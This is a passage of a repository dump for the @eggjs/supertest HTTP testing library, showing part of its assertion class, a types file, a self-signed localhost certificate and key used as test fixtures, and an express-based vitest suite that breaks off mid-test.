actual + '\"', name, actual);\n    }\n  }\n\n  _expectHeader(name: string, res: Response): AssertError | void {\n    const actual = res.headers[name.toLowerCase()];\n    if (!actual) {\n      return new AssertError('expected \"' + name + '\" header field', name, actual);\n    }\n  }\n\n  /**\n   * Defer invoking superagent's `.end()` until\n   * the server is listening.\n   */\n  end(fn: CallbackFunction): this {\n    const server = this._server;\n\n    super.end((err, res) => {\n      const localAssert = () => {\n        this.assert(err, res, fn);\n      };\n\n      if (server && '_handle' in server && server._handle) {\n        return server.close(localAssert);\n      }\n\n      localAssert();\n    });\n\n    return this;\n  }\n\n  /**\n   * Perform assertions and invoke `fn(err, res)`.\n   */\n  assert(resError: ResponseError | null, res: Response, fn: CallbackFunction): void {\n    let errorObj: Error | undefined;\n\n    // check for unexpected network errors or server not running/reachable errors\n    // when there is no response and superagent sends back a System Error\n    // do not check further for other asserts, if any, in such case\n    // https://nodejs.org/api/errors.html#errors_common_system_errors\n    const sysErrors: Record<string, string> = {\n      ECONNREFUSED: 'Connection refused',\n      ECONNRESET: 'Connection reset by peer',\n      EPIPE: 'Broken pipe',\n      ETIMEDOUT: 'Operation timed out',\n    };\n\n    if (!res && resError) {\n      if (resError instanceof Error && resError.syscall === 'connect' && resError.code && sysErrors[resError.code]) {\n        errorObj = new Error(resError.code + ': ' + sysErrors[resError.code]);\n      } else {\n        errorObj = resError;\n      }\n    }\n\n    // asserts\n    for (let i = 0; i < this._asserts.length && !errorObj; i += 1) {\n      errorObj = this._assertFunction(this._asserts[i], res);\n    }\n\n    // set unexpected superagent error if no other error has occurred.\n    if (!errorObj && resError instanceof Error && (!res || resError.status !== res.status)) {\n      errorObj = resError;\n    }\n\n    if (!fn) {\n      console.warn('[@eggjs/supertest] no callback function provided, fn: %s', typeof fn);\n      return;\n    }\n    fn.call(this, errorObj || null, res);\n  }\n\n  /**\n   * Perform assertions on a response body and return an Error upon failure.\n   */\n  _assertBody(body: RegExp | string | number | object | null | undefined, res: Response): AssertError | void {\n    const isRegexp = body instanceof RegExp;\n\n    // parsed\n    if (typeof body === 'object' && !isRegexp) {\n      try {\n        deepStrictEqual(body, res.body);\n      } catch (err) {\n        const a = inspect(body);\n        const b = inspect(res.body);\n        return new AssertError('expected ' + a + ' response body, got ' + b, body, res.body, { cause: err });\n      }\n    } else if (body !== res.text) {\n      // string\n      const a = inspect(body);\n      const b = inspect(res.text);\n\n      // regexp\n      if (isRegexp) {\n        if (!body.test(res.text)) {\n          return new AssertError('expected body ' + b + ' to match ' + body, body, res.body);\n        }\n      } else {\n        return new AssertError('expected ' + a + ' response body, got ' + b, body, res.body);\n      }\n    }\n  }\n\n  /**\n   * Perform assertions on a response header and return an Error upon failure.\n   */\n  _assertHeader(header: ExpectHeader, res: Response): AssertError | void {\n    const field = header.name;\n    const actual = res.header[field.toLowerCase()];\n    const fieldExpected = header.value;\n\n    if (typeof actual === 'undefined') {\n      return new AssertError('expected \"' + field + '\" header field', header, actual);\n    }\n    // This check handles header values that may be a String or single element Array\n    if ((Array.isArray(actual) && actual.toString() === fieldExpected) || fieldExpected === actual) {\n      return;\n    }\n    if (fieldExpected instanceof RegExp) {\n      if (!fieldExpected.test(actual)) {\n        return new AssertError(\n          'expected \"' + field + '\" matching ' + fieldExpected + ', got \"' + actual + '\"',\n          header,\n          actual,\n        );\n      }\n    } else {\n      return new AssertError(\n        'expected \"' + field + '\" of \"' + fieldExpected + '\", got \"' + actual + '\"',\n        header,\n        actual,\n      );\n    }\n  }\n\n  /**\n   * Perform assertions on the response status and return an Error upon failure.\n   */\n  _assertStatus(status: number, res: Response): AssertError | void {\n    if (res.status !== status) {\n      const a = STATUS_CODES[status];\n      const b = STATUS_CODES[res.status];\n      return new AssertError(\n        'expected ' + status + ' \"' + a + '\", got ' + res.status + ' \"' + b + '\"',\n        status,\n        res.status,\n      );\n    }\n  }\n\n  /**\n   * Perform assertions on the response status and return an Error upon failure.\n   */\n  _assertStatusArray(statusArray: number[], res: Response): AssertError | void {\n    if (!statusArray.includes(res.status)) {\n      const b = STATUS_CODES[res.status];\n      const expectedList = statusArray.join(', ');\n      return new AssertError(\n        'expected one of \"' + expectedList + '\", got ' + res.status + ' \"' + b + '\"',\n        statusArray,\n        res.status,\n      );\n    }\n  }\n\n  /**\n   * Performs an assertion by calling a function and return an Error upon failure.\n   */\n  _assertFunction(fn: AssertFunction, res: Response): Error | undefined {\n    let err;\n    try {\n      err = fn(res);\n    } catch (e) {\n      err = e;\n    }\n    if (err instanceof Error) {\n      return err;\n    }\n  }\n}\n\n/**\n * Wraps an assert function into another.\n * The wrapper function edit the stack trace of any assertion error, prepending a more useful stack to it.\n *\n * @param {Function} assertFn\n * @return {Function} wrapped assert function\n */\n\nfunction wrapAssertFn(assertFn: AssertFunction) {\n  const savedStack = new Error().stack!.split('\\n').slice(3);\n\n  return (res: Response) => {\n    let badStack;\n    let err;\n    try {\n      err = assertFn(res);\n    } catch (e: any) {\n      err = e;\n    }\n    if (err instanceof Error && err.stack) {\n      badStack = err.stack.replace(err.message, '').split('\\n').slice(1);\n      err.stack = [err.toString()].concat(savedStack).concat('----').concat(badStack).join('\\n');\n    }\n    return err;\n  };\n}\n"
  },
  {
    "path": "packages/supertest/src/types.ts",
    "content": "import type { RequestListener } from 'node:http';\nimport type { Http2ServerRequest, Http2ServerResponse } from 'node:http2';\nimport type { Server } from 'node:net';\n\nimport type { AgentOptions as SAgentOptions } from 'superagent';\n\nexport type H2RequestListener = (request: Http2ServerRequest, response: Http2ServerResponse) => void;\nexport type H1RequestListener = RequestListener;\n\nexport type App = Server | H1RequestListener | H2RequestListener | string;\n\nexport interface AgentOptions extends SAgentOptions {\n  http2?: boolean;\n}\n"
  },
  {
    "path": "packages/supertest/test/fixtures/test_cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDCTCCAfGgAwIBAgIUZtrgyKVudIs9Y90tCSeQHUjKy2IwDQYJKoZIhvcNAQEL\nBQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTIwMTAwOTIwMDkyOFoXDTIwMTEw\nODIwMDkyOFowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0BAQEF\nAAOCAQ8AMIIBCgKCAQEAuU6E5t0+OT01AoLAEZ6HndwOwmZO3C/YhiyObKDGaxRi\nWIaTa52sADMj+JSNL2fnY6XS9SjJddK3PSbGstKJrdR0kmkwvzeZ090bMb3UHjSy\nb571s2VKCWfc8XoGsJfpHTnTk+bk0QKKVTfcd4ORPvXMG6sNAENHzbG0EyYX1dJ7\nDF1SfBC2spMlQ2s8eBTVO2wnK9pucgKgXSQNa31l+G2Ixf94HjrJA/YyTmqo7UuW\nD1ACxvxIKnzMVaeE2nMcRjb7SYBly41Z5A0mZ5mj1C7iQBM1cVn7FAK/5RYT3XJU\nqOejQy17K4O1B1gB+62X42lLdo4uN8/uX96/hzAmOQIDAQABo1MwUTAdBgNVHQ4E\nFgQUMY736EgCf9E/UitPXmJHR85Yy9EwHwYDVR0jBBgwFoAUMY736EgCf9E/UitP\nXmJHR85Yy9EwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAGA5Q\nCNQCrmTfd2cNckssngiC8kYCssaSloLpjmOl4PoCzT8Ggrer5OAHdywZExhK4BvG\nxycn1TwJWpm0rqUgisQy4NiqNUC7xIphYcWW668OSfW2ZW83/EHWEf4kPR9lnJUI\nW4cMrRd1XKIRAyuePGlgya3CoELlbgw2UYz6SLae6SjYReo10hWDRVj8+Z+P68ST\nWmDvg3tnbkSz9gOy/Pm+qgq5DMkKp6yJ0GyhlTRgIdYi3DtFizzEnSDBP1RlGRo5\nU9cyGCjNA9R9PlgY30tCvH33urPW0OWH+kFj7i8ksUJJKI4s4pTb2HpvdTeQvcG7\n7+Jp8RcI+sxqFT4jyw==\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "packages/supertest/test/fixtures/test_key.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC5ToTm3T45PTUC\ngsARnoed3A7CZk7cL9iGLI5soMZrFGJYhpNrnawAMyP4lI0vZ+djpdL1KMl10rc9\nJsay0omt1HSSaTC/N5nT3RsxvdQeNLJvnvWzZUoJZ9zxegawl+kdOdOT5uTRAopV\nN9x3g5E+9cwbqw0AQ0fNsbQTJhfV0nsMXVJ8ELaykyVDazx4FNU7bCcr2m5yAqBd\nJA1rfWX4bYjF/3geOskD9jJOaqjtS5YPUALG/EgqfMxVp4TacxxGNvtJgGXLjVnk\nDSZnmaPULuJAEzVxWfsUAr/lFhPdclSo56NDLXsrg7UHWAH7rZfjaUt2ji43z+5f\n3r+HMCY5AgMBAAECggEBALh3iaWoqMCiRZryPfFMNwTWg3rSDb7zgkBPKpjIk70U\n1bH6hdajZw3r2usiNknyzU1NTevvZl18Hh0p9LMfEx+QV1tIi9ZOqztU6DVkGzzW\niKrFOyISutkSI8ffCbnR/6WwYwbg2veV589dhIMU3gom9cC1ToPsdhY1yGUnjqKy\n6CGvwA8qae4lV1BJVZi3aVmd278WVhBphF12gKGYkNjSBaasuTvABIwUMH+sjKiP\n9UjxNsrHVO9RSWmZdygr9vpDHnwyE+1Pm9Pd5FR8xit5U+PZM71jsV5CJuADB6wO\nbUe/qIUJCCfQPk4rjvkVaVD8xX6xK2/RGRCKJ8YHXAECgYEA9fangEVlC1qgfVaK\nkhI/CwyJ4RekUf1a2EXH3QQflfR5fwNcAZ7Rgt7oQ2IIRmk0qLp3lGjuNQ9VF58i\nJdSlzvVQnlclJVTE++mQDuJitYZ+p+WCwoCNRM/vnMABGEUcopothiNY2AilJNHh\nnMrVI1ZMqasoIfaxfuUPdUSzQBECgYEAwN49zbKIaXs8L3v9fdhFGNDGQFCZ2qHM\nZaaO5PACnB6P74uhfE2mfJ/zS4udcnlt/CUSsgBDgSvEsX/rXDDkAGnBAQC7T2is\nhKO3ClOUb8MghNN/L2QamZDwffPqOnn0eE3GEq8Qs2TSbA0+Bt8lm1uVRs67PKAP\nrYjsY5eYK6kCgYEAglu9nsAos4HOuV8ahhxhiUuV79SF5GZwtVsWeE7tJp6xnd17\n7+fqhn/5fW0Bkb/EhwB8zA1o4npD0QcoJAC1+CAQIDtzlnt9Az5geWMGicrEadu8\nF7XmKWhDSEKC0ggfCxbHteYZ+jVqwT7zYhQmLlpYuzvZQ1bp76UbMj28+uECgYAO\nYEJxE66xVhs9WtuhRr6Xw/ATGS7uqgLHTOv3yqAXLPwDmf/WeR9AyNdkuSpqPvzg\nv46uL/DYLwABTwynGYnVMgzN21Ua7S120ZEyNtqonf3NiMpBKRAGhFQ4vzalVzPO\nx9VMzTnMdWZt4WrPLlDqTKBK39v6/99LSxp7rfAMyQKBgFAbAjdW8mNRqr2c562e\nrL894oKVOcnuPLovEx5pHWW3NOdPSdEjA5q4aISw4F6YnUXyCAGqbAOp+GrS3xXz\nxKj8qta/mqvHjj95EoMybnUwaCgK3dw0+QyuXFNxtejbOD1Ubljutn8hzswGryVg\nZ70KXTszjaQxgrTZpmKljS88\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "packages/supertest/test/supertest.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { once } from 'node:events';\nimport fs from 'node:fs';\nimport https from 'node:https';\nimport type { AddressInfo } from 'node:net';\nimport path from 'node:path';\n\nimport bodyParser from 'body-parser';\nimport cookieParser from 'cookie-parser';\nimport express, { type Express } from 'express';\nimport { describe, it, beforeEach, beforeAll, expect } from 'vitest';\n\nimport request, { Test } from '../src/index.ts';\nimport { throwError } from './throwError.ts';\n\nprocess.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';\n\nconst __dirname = import.meta.dirname;\n\nfunction shouldIncludeStackWithThisFile(err: Error) {\n  // console.error(err.stack);\n  expect(err.stack).toMatch(/test\\/supertest\\.test\\.ts:/);\n  expect(err.stack).toMatch(new RegExp(`^${err.name}:`));\n}\n\ndescribe('request(url)', () => {\n  it('should be supported', async () => {\n    const app = express();\n\n    app.get('/', function (_req, res) {\n      res.send('hello');\n    });\n\n    const server = app.listen();\n    await once(server, 'listening');\n    const url = 'http://localhost:' + (server.address() as AddressInfo).port;\n    await request(url).get('/').expect('hello');\n    server.close();\n  });\n\n  it('should promise style', async () => {\n    const app = express();\n\n    app.get('/', function (_req, res) {\n      res.send('hello');\n    });\n\n    const server = app.listen();\n    await once(server, 'listening');\n    const url = 'http://localhost:' + (server.address() as AddressInfo).port;\n    await request(url).get('/').expect('hello');\n    server.close();\n  });\n\n  it('should async await', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.send('hello async await');\n    });\n\n    const server = app.listen();\n    await once(server, 'listening');\n    const url = 'http://localhost:' + (server.address() as AddressInfo).port;\n    await request(url).get('/').expect('hello async await');\n\n    await request.agent(url).get('/').expect('hello async await');\n  });\n\n  describe('.end(cb)', () => {\n    it('should set `this` to the test object when calling cb', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('hello');\n      });\n\n      const server = app.listen();\n      await once(server, 'listening');\n      const url = 'http://localhost:' + (server.address() as AddressInfo).port;\n      const test = request(url).get('/');\n      await new Promise((resolve) => {\n        test.end(function (this: Test, err, res) {\n          assert.equal(this, test);\n          assert.equal(err, null);\n          assert.equal(res.text, 'hello');\n          resolve(res);\n        });\n      });\n      server.close();\n    });\n  });\n});\n\ndescribe('request(app)', () => {\n  it('should fire up the app on an ephemeral port', async () => {\n    const app = express();\n\n    app.get('/', function (_req, res) {\n      res.send('hey');\n    });\n\n    const res = await request(app).get('/');\n\n    expect(res.status).toBe(200);\n    expect(res.text).toBe('hey');\n  });\n\n  it('should work with an active server', async () => {\n    const app = express();\n\n    app.get('/', function (_req, res) {\n      res.send('hey');\n    });\n\n    const server = app.listen();\n    await once(server, 'listening');\n    const res = await request(server).get('/');\n\n    expect(res.status).toBe(200);\n    expect(res.text).toBe('hey');\n    server.close();\n  });\n\n  it('should work with remote server', async () => {\n    const app = express();\n\n    app.get('/', function (_req, res) {\n      res.send('hey');\n    });\n\n    const server = app.listen();\n    await once(server, 'listening');\n    const url = 'http://localhost:' + (server.address() as AddressInfo).port;\n    const res = await request(url).get('/');\n\n    expect(res.status).toBe(200);\n    expect(res.text).toBe('hey');\n    server.close();\n  });\n\n  it('should work with a https server', async () => {\n    const app = express();\n    const fixtures = path.join(__dirname, 'fixtures');\n    const server = https.createServer(\n      {\n        key: fs.readFileSync(path.join(fixtures, 'test_key.pem')),\n        cert: fs.readFileSync(path.join(fixtures, 'test_cert.pem')),\n      },\n      app,\n    );\n\n    app.get('/', (_req, res) => {\n      res.send('hey');\n    });\n\n    const res = await request(server).get('/');\n\n    expect(res.status).toBe(200);\n    expect(res.text).toBe('hey');\n  });\n\n  it('should work with .send() etc', async () => {\n    const app = express();\n\n    app.use(bodyParser.json());\n\n    app.post('/', (req, res) => {\n      res.send(req.body.name);\n    });\n\n    await request(app).post('/').send({ name: 'john' }).expect('john');\n  });\n\n  it('should work when unbuffered', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.end('Hello');\n    });\n\n    await request(app).get('/').expect('Hello');\n  });\n\n  it('should work on trace method', async () => {\n    const app = express();\n\n    app.trace('/', (_req, res) => {\n      res.end('Hello');\n    });\n\n    await request(app).trace('/').expect('Hello');\n  });\n\n  it('should default redirects to 0', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.redirect('/login');\n    });\n\n    await request(app).get('/').expect(302);\n  });\n\n  it('should handle redirects', async () => {\n    const app = express();\n\n    app.get('/login', (_req, res) => {\n      res.end('Login');\n    });\n\n    app.get('/', (_req, res) => {\n      res.redirect('/login');\n    });\n\n    const res = await request(app).get('/').redirects(1);\n\n    expect(res).toBeDefined();\n    expect(res.status).toBe(200);\n    expect(res.text).toBe('Login');\n  });\n\n  it('should handle socket errors', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.destroy();\n    });\n\n    await expect(request(app).get('/')).rejects.toThrow();\n  });\n\n  describe('.end(fn)', () => {\n    it('should close server', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('supertest FTW!');\n      });\n\n      const test = request(app)\n        .get('/')\n        .end(() => {});\n\n      await once(test._server, 'close');\n    });\n\n    it('should wait for server to close before invoking fn', async () => {\n      const app = express();\n      let closed = false;\n\n      app.get('/', (_req, res) => {\n        res.send('supertest FTW!');\n      });\n\n      const test = request(app).get('/');\n\n      test._server.on('close', () => {\n        closed = true;\n      });\n\n      await test;\n      expect(closed).toBe(true);\n    });\n\n    it('should support nested requests', async () => {\n      const app = express();\n      const test = request(app);\n\n      app.get('/', (_req, res) => {\n        res.send('supertest FTW!');\n      });\n\n      await test.get('/');\n\n      const res = await test.get('/');\n      expect(res.status).toBe(200);\n      expect(res.text).toBe('supertest FTW!');\n    });\n\n    it('should include the response in the error callback', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('whatever');\n      });\n\n      try {\n        await request(app)\n          .get('/')\n          .expect(() => {\n            throw new Error('Some error');\n          });\n        expect(true).toBe(false); // Should not reach here\n      } catch (err: any) {\n        expect(err).toBeDefined();\n        // expect(err.response).toBeDefined();\n        // expect(err.response.status).toBe(200);\n      }\n    });\n\n    it('should set `this` to the test object when calling the error callback', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('whatever');\n      });\n\n      await expect(async () => {\n        await request(app)\n          .get('/')\n          .expect(() => {\n            throw new Error('Some error');\n          });\n      }).rejects.toThrow('Some error');\n    });\n\n    it('should handle an undefined Response', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        setTimeout(function () {\n          res.end();\n        }, 20);\n      });\n\n      const server = app.listen();\n      await once(server, 'listening');\n      const url = 'http://localhost:' + (server.address() as AddressInfo).port;\n\n      await expect(request(url).get('/').timeout(1).expect(200)).rejects.toThrow();\n\n      server.close();\n    });\n\n    it('should handle error returned when server goes down', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.end();\n      });\n\n      const server = app.listen();\n      await once(server, 'listening');\n      const url = 'http://localhost:' + (server.address() as AddressInfo).port;\n      server.close();\n\n      await expect(request(url).get('/').expect(200)).rejects.toThrow();\n    });\n  });\n\n  describe('.expectHeader(name, fn)', () => {\n    it('should expect header exists', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.setHeader('Foo-Bar', 'ok');\n        res.send('hey');\n      });\n\n      await request(app).get('/').expect(200).expectHeader('Foo-Bar').expectHeader('content-type');\n    });\n\n    it('should expect header exists with callback', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.setHeader('Foo-Bar', 'ok');\n        res.send('hey');\n      });\n\n      await request(app).get('/').expect(200).expectHeader('Foo-Bar');\n    });\n  });\n\n  describe('.unexpectHeader(name, fn)', () => {\n    it('should expect header not exists', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      await request(app).get('/').expect(200).unexpectHeader('Foo-Bar');\n    });\n\n    it('should expect header not exists with callback', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      await request(app).get('/').expect(200).unexpectHeader('Foo-Bar');\n    });\n  });\n\n  describe('.expect(status[, fn])', () => {\n    it('should assert the response status', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      try {\n        await request(app).get('/').expect(404);\n        expect(true).toBe(false); // Should not reach here\n      } catch (err: any) {\n        expect(err instanceof Error).toBe(true);\n        expect(err.message).toBe('expected 404 \"Not Found\", got 200 \"OK\"');\n        shouldIncludeStackWithThisFile(err);\n      }\n    });\n  });\n\n  describe('.expect(status)', () => {\n    it('should handle connection error', async () => {\n      const req = request.agent('http://127.0.0.1:1234');\n\n      try {\n        await req.get('/').expect(200);\n        expect(true).toBe(false); // Should not reach here\n      } catch (err: any) {\n        expect(err instanceof Error).toBe(true);\n        expect(err.message).toBe('ECONNREFUSED: Connection refused');\n      }\n    });\n  });\n\n  describe('.expect(status)', () => {\n    it('should assert only status', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      await request(app).get('/').expect(200);\n    });\n  });\n\n  describe('.expect(statusArray)', () => {\n    it('should assert only status', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      await request(app).get('/').expect([200, 404]);\n    });\n\n    it('should reject if status is not in valid statuses array', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      try {\n        await request(app).get('/').expect([500, 404]);\n        expect(true).toBe(false); // Should not reach here\n      } catch (err: any) {\n        expect(err instanceof Error).toBe(true);\n        expect(err.message).toBe('expected one of \"500, 404\", got 200 \"OK\"');\n        shouldIncludeStackWithThisFile(err);\n      }\n    });\n  });\n\n  describe('.expect(status, body[, fn])', () => {\n    it('should assert the response body and status', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('foo');\n      });\n\n      await request(app).get('/').expect(200, 'foo');\n    });\n\n    describe('when the body argument is an empty string', () => {\n      it('should not quietly pass on failure', async () => {\n        const app = express();\n\n        app.get('/', (_req, res) => {\n          res.send('foo');\n        });\n\n        try {\n          await request(app).get('/').expect(200, '');\n          expect(true).toBe(false); // Should not reach here\n        } catch (err: any) {\n          expect(err instanceof Error).toBe(true);\n          expect(err.message).toBe(\"expected '' response body, got 'foo'\");\n          shouldIncludeStackWithThisFile(err);\n        }\n      });\n    });\n  });\n\n  describe('.expect(body[, fn])', () => {\n    it('should assert the response body', async () => {\n      const app = express();\n\n      app.set('json spaces', 0);\n\n      app.get('/', (_req, res) => {\n        res.send({ foo: 'bar' });\n      });\n\n      try {\n        await request(app).get('/').expect('hey');\n        expect(true).toBe(false); // Should not reach here\n      } catch (err: any) {\n        expect(err instanceof Error).toBe(true);\n        expect(err.message).toBe('expected \\'hey\\' response body, got \\'{\"foo\":\"bar\"}\\'');\n        shouldIncludeStackWithThisFile(err);\n      }\n    });\n\n    it('should assert the status before the body', async () => {\n      const app = express();\n\n      app.set('json spaces', 0);\n\n      app.get('/', (_req, res) => {\n        res.status(500).send({ message: 'something went wrong' });\n      });\n\n      try {\n        await request(app).get('/').expect(200).expect('hey');\n        expect(true).toBe(false); // Should not reach here\n      } catch (err: any) {\n        expect(err instanceof Error).toBe(true);\n        expect(err.message).toBe('expected 200 \"OK\", got 500 \"Internal Server Error\"');\n        shouldIncludeStackWithThisFile(err);\n      }\n    });\n\n    it('should assert the response text', async () => {\n      const app = express();\n\n      app.set('json spaces', 0);\n\n      app.get('/', (_req, res) => {\n        res.send({ foo: 'bar' });\n      });\n\n      await request(app).get('/').expect('{\"foo\":\"bar\"}');\n    });\n\n    it('should assert the parsed response body', async () => {\n      const app = express();\n\n      app.set('json spaces', 0);\n\n      app.get('/', (_req, res) => {\n        res.send({ foo: 'bar' });\n      });\n\n      try {\n        await request(app).get('/').expect({ foo: 'baz' });\n        expect(true).toBe(false); // Should not reach here\n      } catch (err: any) {\n        expect(err instanceof Error).toBe(true);\n        expect(err.message).toBe(\"expected { foo: 'baz' } response body, got { foo: 'bar' }\");\n        shouldIncludeStackWithThisFile(err);\n      }\n\n      await request(app).get('/').expect({ foo: 'bar' });\n    });\n\n    it('should test response object types', async () => {\n      const app = express();\n      app.get('/', (_req, res) => {\n        res.status(200).json({ stringValue: 'foo', numberValue: 3 });\n      });\n\n      await request(app).get('/').expect({ stringValue: 'foo', numberValue: 3 });\n    });\n\n    it('should deep test response object types', async () => {\n      const app = express();\n      app.get('/', (_req, res) => {\n        res.status(200).json({\n          stringValue: 'foo',\n          numberValue: 3,\n          nestedObject: { innerString: '5' },\n        });\n      });\n\n      try {\n        await request(app)\n          .get('/')\n          .expect({\n            stringValue: 'foo',\n            numberValue: 3,\n            nestedObject: { innerString: 5 },\n          });\n        expect(true).toBe(false); // Should not reach here\n      } catch (err: any) {\n        expect(err instanceof Error).toBe(true);\n        expect(err.message.replace(/[^a-zA-Z]/g, '')).toBe(\n          \"expected {\\n  stringValue: 'foo',\\n  numberValue: 3,\\n  nestedObject: { innerString: 5 }\\n} response body, got {\\n  stringValue: 'foo',\\n  numberValue: 3,\\n  nestedObject: { innerString: '5' }\\n}\".replace(\n            /[^a-zA-Z]/g,\n            '',\n          ),\n        ); // eslint-disable-line max-len\n        shouldIncludeStackWithThisFile(err);\n      }\n\n      await request(app)\n        .get('/')\n        .expect({\n          stringValue: 'foo',\n          numberValue: 3,\n          nestedObject: { innerString: '5' },\n        });\n    });\n\n    it('should support parsed response arrays', async () => {\n      const app = express();\n      app.get('/', (_req, res) => {\n        res.status(200).json(['a', { id: 1 }]);\n      });\n\n      await request(app)\n        .get('/')\n        .expect(['a', { id: 1 }]);\n    });\n\n    it('should support empty array responses', async () => {\n      const app = express();\n      app.get('/', (_req, res) => {\n        res.status(200).json([]);\n      });\n\n      await request(app).get('/').expect([]);\n    });\n\n    it('should support regular expressions', async () => {\n      const app = express();\n\n      app.get('/', (_req, res) => {\n        res.send('foobar');\n      });\n\n      await expect(async () => {\n        await request(app).get('/').expect(/^bar/);\n      }).rejects.toThrow(\"expected body 'foobar' to match /^bar/\");\n    });\n  });\n\n  it('should assert response body multiple times', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.send('hey tj');\n    });\n\n    await expect(async () => {\n      await request(app).get('/').expect(/tj/).expect('hey').expect('hey tj');\n    }).rejects.toThrow(\"expected 'hey' response body, got 'hey tj'\");\n  });\n\n  it('should assert response body multiple times with no exception', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.send('hey tj');\n    });\n\n    await request(app).get('/').expect(/tj/).expect(/^hey/).expect('hey tj');\n  });\n});\n\ndescribe('.expect(field, value[, fn])', () => {\n  it('should assert the header field presence', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.send({ foo: 'bar' });\n    });\n\n    await expect(async () => {\n      await request(app).get('/').expect('Content-Foo', 'bar');\n    }).rejects.toThrow('expected \"Content-Foo\" header field');\n  });\n\n  it('should assert the header field value', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.send({ foo: 'bar' });\n    });\n\n    await expect(async () => {\n      await request(app).get('/').expect('Content-Type', 'text/html');\n    }).rejects.toThrow('expected \"Content-Type\" of \"text/html\", got \"application/json; charset=utf-8\"');\n  });\n\n  it('should assert multiple fields', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.send('hey');\n    });\n\n    await request(app).get('/').expect('Content-Type', 'text/html; charset=utf-8').expect('Content-Length', '3');\n  });\n\n  it('should support regular expressions', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.send('hey');\n    });\n\n    await expect(async () => {\n      await request(app)\n        .get('/')\n        .expect('Content-Type', /^application/);\n    }).rejects.toThrow('expected \"Content-Type\" matching /^application/, got \"text/html; charset=utf-8\"');\n  });\n\n  it('should support numbers', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.send('hey');\n    });\n\n    await expect(async () => {\n      await request(app).get('/').expect('Content-Length', 4);\n    }).rejects.toThrow('expected \"Content-Length\" of \"4\", got \"3\"');\n  });\n\n  describe('handling arbitrary expect functions', () => {\n    let app: Express;\n    let get: Test;\n\n    beforeAll(() => {\n      app = express();\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n    });\n\n    beforeEach(() => {\n      get = request(app).get('/');\n    });\n\n    it('reports errors', async () => {\n      await expect(async () => {\n        await get.expect(throwError('failed'));\n      }).rejects.toThrow('failed');\n    });\n\n    // this scenario should never happen after https://github.com/ladjs/supertest/pull/767\n    // meant for test coverage for lib/test.js#287\n    // https://github.com/ladjs/supertest/blob/e064b5ae71e1dfa3e1a74745fda527ac542e1878/lib/test.js#L287\n    it.skip('_assertFunction should catch and return error', async () => {\n      const error = new Error('failed');\n      const returnedError = get\n        // private api\n        ._assertFunction(() => {\n          throw error;\n        }, {} as any);\n      get.end(() => {\n        assert(returnedError instanceof Error);\n        expect(returnedError).toBe(error);\n        expect(returnedError.message).toBe('failed');\n        shouldIncludeStackWithThisFile(returnedError);\n      });\n    });\n\n    it.skip('ensures truthy non-errors returned from asserts are not promoted to errors', async () => {\n      await expect(async () => {\n        await get.expect(function () {\n          return 'some descriptive error';\n        });\n      }).rejects.toThrow('some descriptive error');\n    });\n\n    it('ensures truthy errors returned from asserts are throw to end', async () => {\n      await expect(async () => {\n        await get.expect(throwError('some descriptive error'));\n      }).rejects.toThrow('some descriptive error');\n    });\n\n    it(\"doesn't create false negatives\", async () => {\n      await get.expect(function () {});\n    });\n\n    it(\"doesn't create false negatives on non error objects\", async () => {\n      const handler = {\n        get() {\n          throw Error('Should not be called for non Error objects');\n        },\n      };\n      const proxy = new Proxy({}, handler); // eslint-disable-line no-undef\n      await get.expect(() => proxy);\n    });\n\n    it('handles multiple asserts', async () => {\n      const calls: number[] = [];\n      await get\n        .expect(function () {\n          calls[0] = 1;\n        })\n        .expect(function () {\n          calls[1] = 1;\n        })\n        .expect(function () {\n          calls[2] = 1;\n        });\n      expect(calls).toEqual([1, 1, 1]);\n    });\n\n    it('plays well with normal assertions - no false positives', async () => {\n      await expect(async () => {\n        await get.expect(() => {}).expect('Content-Type', /json/);\n      }).rejects.toThrow('expected \"Content-Type\" matching /json/, got \"text/html; charset=utf-8\"');\n    });\n\n    it('plays well with normal assertions - no false negatives', async () => {\n      get\n        .expect(function () {})\n        .expect('Content-Type', /html/)\n        .expect(function () {})\n        .expect('Content-Type', /text/);\n    });\n  